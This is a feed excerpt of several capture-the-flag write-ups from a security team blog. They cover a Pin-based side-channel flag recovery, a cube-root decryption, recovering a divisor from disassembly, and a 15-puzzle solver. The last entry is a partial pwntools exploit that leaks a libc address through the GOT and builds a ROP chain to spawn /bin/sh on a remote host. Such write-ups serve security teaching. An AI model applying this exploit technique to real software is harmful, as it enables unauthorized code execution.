<p>Try each letter, digit and probable symbols keeping the one that leads to most memory operations.</p>
<p>Run this script from source/tools/SimpleExamples/obj-intel64</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> subprocess <span style="color:#fc5fa3">as</span> sp
</span></span><span style="display:flex;"><span>flag = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>alphabet = string.ascii_letters + string.digits + <span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d"> _=&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">100</span>):
</span></span><span style="display:flex;"><span>	cur = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>	ans = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> j in alphabet:
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986"># print(j)</span>
</span></span><span style="display:flex;"><span>		cnt = <span style="color:#d0a8ff">int</span>(sp.check_output([<span style="color:#fc6a5d">&#39;sh&#39;</span>, <span style="color:#fc6a5d">&#39;-c&#39;</span>, <span style="color:#fc6a5d">&#34;echo &#39;</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d">&#39; | &#39;/home/ubuntu/Desktop/pin-3.5-97503-gac534ca30-gcc-linux/pin&#39; -t pinatrace.so -o /proc/self/fd/1 -- ~/Desktop/slammer | wc -l&#34;</span>.format(flag + j)]))
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986"># print(j, cnt)</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> cnt &gt; cur:
</span></span><span style="display:flex;"><span>			cur = cnt
</span></span><span style="display:flex;"><span>			ans = j
</span></span><span style="display:flex;"><span>	flag += ans
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span>(flag)
</span></span></code></pre></div><p>This is the count for the first byte</p>
<pre tabindex="0"><code>(&#39;a&#39;, 6)
(&#39;b&#39;, 6)
(&#39;c&#39;, 6)
(&#39;d&#39;, 6)
(&#39;e&#39;, 6)
(&#39;f&#39;, 6)
(&#39;g&#39;, 6)
(&#39;h&#39;, 6)
(&#39;i&#39;, 6)
(&#39;j&#39;, 6)
(&#39;k&#39;, 6)
(&#39;l&#39;, 6)
(&#39;m&#39;, 6)
(&#39;n&#39;, 6)
(&#39;o&#39;, 6)
(&#39;p&#39;, 6)
(&#39;q&#39;, 6)
(&#39;r&#39;, 6)
(&#39;s&#39;, 6)
(&#39;t&#39;, 6)
(&#39;u&#39;, 6)
(&#39;v&#39;, 6)
(&#39;w&#39;, 6)
(&#39;x&#39;, 6516)
(&#39;y&#39;, 6)
(&#39;z&#39;, 6)
(&#39;A&#39;, 6)
(&#39;B&#39;, 6)
(&#39;C&#39;, 6)
(&#39;D&#39;, 6)
(&#39;E&#39;, 6)
(&#39;F&#39;, 6)
(&#39;G&#39;, 6)
(&#39;H&#39;, 6)
(&#39;I&#39;, 6)
(&#39;J&#39;, 6)
(&#39;K&#39;, 6)
(&#39;L&#39;, 6)
(&#39;M&#39;, 6)
(&#39;N&#39;, 6)
(&#39;O&#39;, 6)
(&#39;P&#39;, 6)
(&#39;Q&#39;, 6)
(&#39;R&#39;, 6)
(&#39;S&#39;, 6)
(&#39;T&#39;, 6)
(&#39;U&#39;, 6)
(&#39;V&#39;, 6)
(&#39;W&#39;, 6)
(&#39;X&#39;, 6)
(&#39;Y&#39;, 6)
(&#39;Z&#39;, 6)
(&#39;0&#39;, 6)
(&#39;1&#39;, 6)
(&#39;2&#39;, 6)
(&#39;3&#39;, 6)
(&#39;4&#39;, 6)
(&#39;5&#39;, 6)
(&#39;6&#39;, 6)
(&#39;7&#39;, 6)
(&#39;8&#39;, 6)
(&#39;9&#39;, 6)
(&#39;{&#39;, 6)
(&#39;}&#39;, 6)
(&#39; &#39;, 6)
(&#39;_&#39;, 6)
(&#39;=&#39;, 6)
</code></pre>]]></content></item><item><title>EvlzCTF - Primeates</title><link>https://theromanxpl0.it/posts/2018/02/evlzctf-primeates/</link><pubDate>Tue, 13 Feb 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/02/evlzctf-primeates/</guid><description>&lt;p>After playing with nc for a little while, we discovered that the decryption algorithm simply extracts the cube root of the number (the encrypted data). Due to the big number we are dealing with, you have two different ways to solve this challenge: either use &lt;a href="http://www.sagemath.org/">Sage&lt;/a>,
or just use WolframAlpha to compute all the roots. And yes, my laziness made me use the second way :)&lt;/p></description><content type="html">&lt;p>After playing with nc for a little while, we discovered that the decryption algorithm simply extracts the cube root of the number (the encrypted data). Due to the big number we are dealing with, you have two different ways to solve this challenge: either use &lt;a href="http://www.sagemath.org/">Sage&lt;/a>,
or just use WolframAlpha to compute all the roots. And yes, my laziness made me use the second way :)&lt;/p>
</content></item><item><title>Harekaze CTF 2018 - Div N</title><link>https://theromanxpl0.it/posts/2018/02/harekaze-ctf-2018-div-n/</link><pubDate>Sun, 11 Feb 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/02/harekaze-ctf-2018-div-n/</guid><description>&lt;p>We are given a c function that does the integer division of the argument by a constant N.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">long&lt;/span> &lt;span style="color:#fc5fa3">long&lt;/span> &lt;span style="color:#41a1c0">div&lt;/span>(&lt;span style="color:#fc5fa3">long&lt;/span> &lt;span style="color:#fc5fa3">long&lt;/span> x) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> x / N;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The constant is set at compile time&lt;/p>
&lt;pre tabindex="0">&lt;code>$ gcc -DN=$N -c -O2 foo.c
&lt;/code>&lt;/pre>&lt;p>Given the disassembly of the function we need to recover N&lt;/p>
&lt;pre tabindex="0">&lt;code>$ objdump -d foo.o
foo.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000
:
0: 48 89 f8 mov %rdi,%rax
3: 48 ba 01 0d 1a 82 9a movabs $0x49ea309a821a0d01,%rdx
a: 30 ea 49
d: 48 c1 ff 3f sar $0x3f,%rdi
11: 48 f7 ea imul %rdx
14: 48 c1 fa 30 sar $0x30,%rdx
18: 48 89 d0 mov %rdx,%rax
1b: 48 29 f8 sub %rdi,%rax
1e: c3 retq
$ echo “HarekazeCTF{$N}” &amp;gt; /dev/null
&lt;/code>&lt;/pre>&lt;p>I tried at first to run the code in an emulator, but the movabs with a quad word immediate wasn&amp;rsquo;t supported, so I rewrote the code in python.
In the System V x86_64 calling convenction rdi holds the first argument of a function.
The disassembly is in the AT&amp;amp;T syntax, not the usual Intel syntax (e.g. mov %rdi, %rax means rax = rdi, that is move rdi to rax)&lt;/p></description><content type="html"><![CDATA[<p>We are given a c function that does the integer division of the argument by a constant N.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span> <span style="color:#41a1c0">div</span>(<span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span> x) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> x / N;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The constant is set at compile time</p>
<pre tabindex="0"><code>$ gcc -DN=$N -c -O2 foo.c
</code></pre><p>Given the disassembly of the function we need to recover N</p>
<pre tabindex="0"><code>$ objdump -d foo.o

foo.o:     file format elf64-x86-64

Disassembly of section .text:
0000000000000000
:
   0:	48 89 f8             	mov    %rdi,%rax
   3:	48 ba 01 0d 1a 82 9a 	movabs $0x49ea309a821a0d01,%rdx
   a:	30 ea 49
   d:	48 c1 ff 3f          	sar    $0x3f,%rdi
  11:	48 f7 ea             	imul   %rdx
  14:	48 c1 fa 30          	sar    $0x30,%rdx
  18:	48 89 d0             	mov    %rdx,%rax
  1b:	48 29 f8             	sub    %rdi,%rax
  1e:	c3                   	retq
$ echo “HarekazeCTF{$N}” &gt; /dev/null
</code></pre><p>I tried at first to run the code in an emulator, but the movabs with a quad word immediate wasn&rsquo;t supported, so I rewrote the code in python.
In the System V x86_64 calling convenction rdi holds the first argument of a function.
The disassembly is in the AT&amp;T syntax, not the usual Intel syntax (e.g. mov %rdi, %rax means rax = rdi, that is move rdi to rax)</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">div</span>(rdi):
</span></span><span style="display:flex;"><span>    rax = rdi
</span></span><span style="display:flex;"><span>    rdx = <span style="color:#d0bf69">0x49ea309a821a0d01</span>
</span></span><span style="display:flex;"><span>    rdi = rdi &gt;&gt; <span style="color:#d0bf69">0x3f</span>
</span></span><span style="display:flex;"><span>    rdxrax = rdx * rax
</span></span><span style="display:flex;"><span>    rdx, rax = rdxrax &gt;&gt; <span style="color:#d0bf69">64</span>, rdxrax % (<span style="color:#d0bf69">2</span> ** <span style="color:#d0bf69">64</span>)
</span></span><span style="display:flex;"><span>    rdx = rdx &gt;&gt; <span style="color:#d0bf69">0x30</span>
</span></span><span style="display:flex;"><span>    rax = rdx
</span></span><span style="display:flex;"><span>    rax = rax - rdi
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> rax
</span></span></code></pre></div><p>Since this function computes x / N, we have that the smallest x such that x / N = 1 is x = N.   Since x / N is a monotone function we can use binary search to efficiently find this x.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(div(<span style="color:#d0bf69">2</span> ** <span style="color:#d0bf69">64</span> - <span style="color:#d0bf69">1</span>))
</span></span><span style="display:flex;"><span>h = <span style="color:#d0bf69">2</span> ** <span style="color:#d0bf69">64</span> - <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>l = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> h - l &gt; <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>    m = (h + l) / <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> div(m) &gt;= <span style="color:#d0bf69">1</span>:
</span></span><span style="display:flex;"><span>        h = m
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        l = m
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># we have that div(l) &lt; 1 and l is non decreasing after each iteration</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># so at the end of the binary search l is the greatest x such that div(x) = 0</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># that in turn means that l + 1 is the smallest x such that div(x) = 1</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(l + <span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(div(l))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(div(l + <span style="color:#d0bf69">1</span>))
</span></span></code></pre></div>]]></content></item><item><title>SharifCTF 8 - Fifteen puzzle</title><link>https://theromanxpl0.it/posts/2018/02/sharifctf-8-fifteen-puzzle/</link><pubDate>Sun, 04 Feb 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/02/sharifctf-8-fifteen-puzzle/</guid><description>&lt;blockquote>
&lt;p>You are given 128 puzzles (&lt;a href="https://en.wikipedia.org/wiki/15_puzzle">https://en.wikipedia.org/wiki/15_puzzle&lt;/a>)&lt;br/>
The ith puzzle determines the ith bit of the flag:&lt;br/>
1 if the puzzle is soluble&lt;br/>
0 if the puzzle is unsoluble&lt;br/>
Implement is_soluble() below, and use the code to get the flag!&lt;/p>&lt;/blockquote>
&lt;p>This was an easy task, as all that was required was determining if a given 15-puzzle was solvable. After some thirty seconds of googling, I had the algorithm, as described &lt;a href="https://www.geeksforgeeks.org/check-instance-15-puzzle-solvable/">here&lt;/a>. All we have to do is calculate the inversion count of the numbers and we&amp;rsquo;re basically done.
Here is the code I used, with the naive &lt;code>O(N^2)&lt;/code> algorithm for the inversion count:&lt;/p></description><content type="html"><![CDATA[<blockquote>
<p>You are given 128 puzzles (<a href="https://en.wikipedia.org/wiki/15_puzzle">https://en.wikipedia.org/wiki/15_puzzle</a>)<br/>
The ith puzzle determines the ith bit of the flag:<br/>
1 if the puzzle is soluble<br/>
0 if the puzzle is unsoluble<br/>
Implement is_soluble() below, and use the code to get the flag!</p></blockquote>
<p>This was an easy task, as all that was required was determining if a given 15-puzzle was solvable. After some thirty seconds of googling, I had the algorithm, as described <a href="https://www.geeksforgeeks.org/check-instance-15-puzzle-solvable/">here</a>. All we have to do is calculate the inversion count of the numbers and we&rsquo;re basically done.
Here is the code I used, with the naive <code>O(N^2)</code> algorithm for the inversion count:</p>
<hr>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>data = <span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">[...]
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#34;&#34;&#34;</span>.split(<span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">invcount</span>(data):
</span></span><span style="display:flex;"><span>    res = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(data)):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(i):
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> data[j] &gt; data[i]:
</span></span><span style="display:flex;"><span>                res += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> res
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>out = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">128</span>):
</span></span><span style="display:flex;"><span>    mat = []
</span></span><span style="display:flex;"><span>    row = -<span style="color:#d0bf69">1</span> <span style="color:#6c7986"># empty cell&#39;s row</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">4</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">while</span> not data[<span style="color:#d0bf69">0</span>].strip().startswith(<span style="color:#fc6a5d">&#39;|&#39;</span>):
</span></span><span style="display:flex;"><span>            data = data[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>        line = data[<span style="color:#d0bf69">0</span>].split(<span style="color:#fc6a5d">&#39;|&#39;</span>)[<span style="color:#d0bf69">1</span>:-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;  &#39;</span> in line:
</span></span><span style="display:flex;"><span>            row = j
</span></span><span style="display:flex;"><span>        mat += [<span style="color:#d0a8ff">int</span>(x, <span style="color:#d0bf69">10</span>) <span style="color:#fc5fa3">for</span> x in line <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(x.strip()) &gt; <span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>        data = data[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (row + invcount(mat)) % <span style="color:#d0bf69">2</span> == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>        out = <span style="color:#fc6a5d">&#39;1&#39;</span> + out
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        out = <span style="color:#fc6a5d">&#39;0&#39;</span> + out
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;SharifCTF{</span><span style="color:#fc6a5d">%016x</span><span style="color:#fc6a5d">}&#39;</span> % <span style="color:#d0a8ff">int</span>(out, <span style="color:#d0bf69">2</span>))
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>SharifCTF{52d3b36b2167d2076b06d8101582b7af}
</span></span></code></pre></div>]]></content></item><item><title>SharifCTF 8 - OldSchool-NewAge</title><link>https://theromanxpl0.it/posts/2018/02/sharifctf-8-oldschool-newage/</link><pubDate>Sun, 04 Feb 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/02/sharifctf-8-oldschool-newage/</guid><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#TheRomanXpl0it - malweisse&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">from&lt;/span> pwn &lt;span style="color:#fc5fa3">import&lt;/span> *
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#########################################################&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BINARY=&lt;span style="color:#fc6a5d">&amp;#34;./vuln4&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HOST=&lt;span style="color:#fc6a5d">&amp;#34;ctf.sharif.edu&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT=&lt;span style="color:#d0bf69">4801&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV={&lt;span style="color:#fc6a5d">&amp;#34;LD_PRELOAD&amp;#34;&lt;/span>:&lt;span style="color:#fc6a5d">&amp;#34;./libc.so.6&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GDB=&lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#########################################################&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(sys.argv) &amp;lt; &lt;span style="color:#d0bf69">2&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;args: bin|net|ida|gdb&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys.exit(&lt;span style="color:#d0bf69">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> sys.argv[&lt;span style="color:#d0bf69">1&lt;/span>] == &lt;span style="color:#fc6a5d">&amp;#34;bin&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p = process(BINARY, env=ENV)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">elif&lt;/span> sys.argv[&lt;span style="color:#d0bf69">1&lt;/span>] == &lt;span style="color:#fc6a5d">&amp;#34;net&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p = remote(HOST, PORT)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">elif&lt;/span> sys.argv[&lt;span style="color:#d0bf69">1&lt;/span>] == &lt;span style="color:#fc6a5d">&amp;#34;ida&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p = process(&lt;span style="color:#fc6a5d">&amp;#34;./linux_server64&amp;#34;&lt;/span>, env=ENV)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;0.1...&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">elif&lt;/span> sys.argv[&lt;span style="color:#d0bf69">1&lt;/span>] == &lt;span style="color:#fc6a5d">&amp;#34;gdb&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> p = process(BINARY, env=ENV)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> gdb.attach(p, GDB)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;args: bin|net|ida|gdb&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys.exit(&lt;span style="color:#d0bf69">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>libc_elf = ELF(&lt;span style="color:#fc6a5d">&amp;#34;libc.so.6&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> p.recvuntil(&lt;span style="color:#fc6a5d">&amp;#34;yourself&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#### PHASE 1 - LEAK THE PUTS ADDRESS FROM THE GOT AND RESTART ####&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>puts_got = &lt;span style="color:#d0bf69">0x08049874&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>puts_plt = &lt;span style="color:#d0bf69">0x080483A0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>new_ebp = &lt;span style="color:#d0bf69">0x08049990&lt;/span> &lt;span style="color:#6c7986">#RW memory because the buffer is read in [ebp-3Ah]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop = &lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += p32(&lt;span style="color:#d0bf69">0x08048513&lt;/span>) &lt;span style="color:#6c7986">#main+41&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += p32(puts_got)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#jump to &amp;#39;call _puts&amp;#39; to print the puts address and read another buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p.sendline(&lt;span style="color:#d0bf69">18&lt;/span>*&lt;span style="color:#fc6a5d">&amp;#34;a&amp;#34;&lt;/span> + p32(new_ebp) + rop)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>r = p.recvline()[:&lt;span style="color:#d0bf69">4&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>puts = u32(r)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>libc_address = puts - libc_elf.symbols[&lt;span style="color:#fc6a5d">&amp;#34;_IO_puts&amp;#34;&lt;/span>]&lt;span style="color:#6c7986"># libc.so.6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34; &amp;gt;&amp;gt; libc addr: &amp;#34;&lt;/span> + &lt;span style="color:#d0a8ff">hex&lt;/span>(libc_address)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#### PHASE 2 - BUILD A ROPCHAIN WITH LIBC GADGETS AND WIN ####&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rebase_0 = &lt;span style="color:#fc5fa3">lambda&lt;/span> x : p32(x + libc_address)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop = &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span> &lt;span style="color:#6c7986">#generated with ropper&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0002406e&lt;/span>) &lt;span style="color:#6c7986"># 0x0002406e: pop eax; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += &lt;span style="color:#fc6a5d">&amp;#39;//bi&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x000b5377&lt;/span>) &lt;span style="color:#6c7986"># 0x000b5377: pop ecx; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x001b3040&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0018e372&lt;/span>) &lt;span style="color:#6c7986"># 0x0018e372: mov dword ptr [ecx], eax; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0002406e&lt;/span>) &lt;span style="color:#6c7986"># 0x0002406e: pop eax; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += &lt;span style="color:#fc6a5d">&amp;#39;n/sh&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x000b5377&lt;/span>) &lt;span style="color:#6c7986"># 0x000b5377: pop ecx; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x001b3044&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0018e372&lt;/span>) &lt;span style="color:#6c7986"># 0x0018e372: mov dword ptr [ecx], eax; ret;&lt;/span>
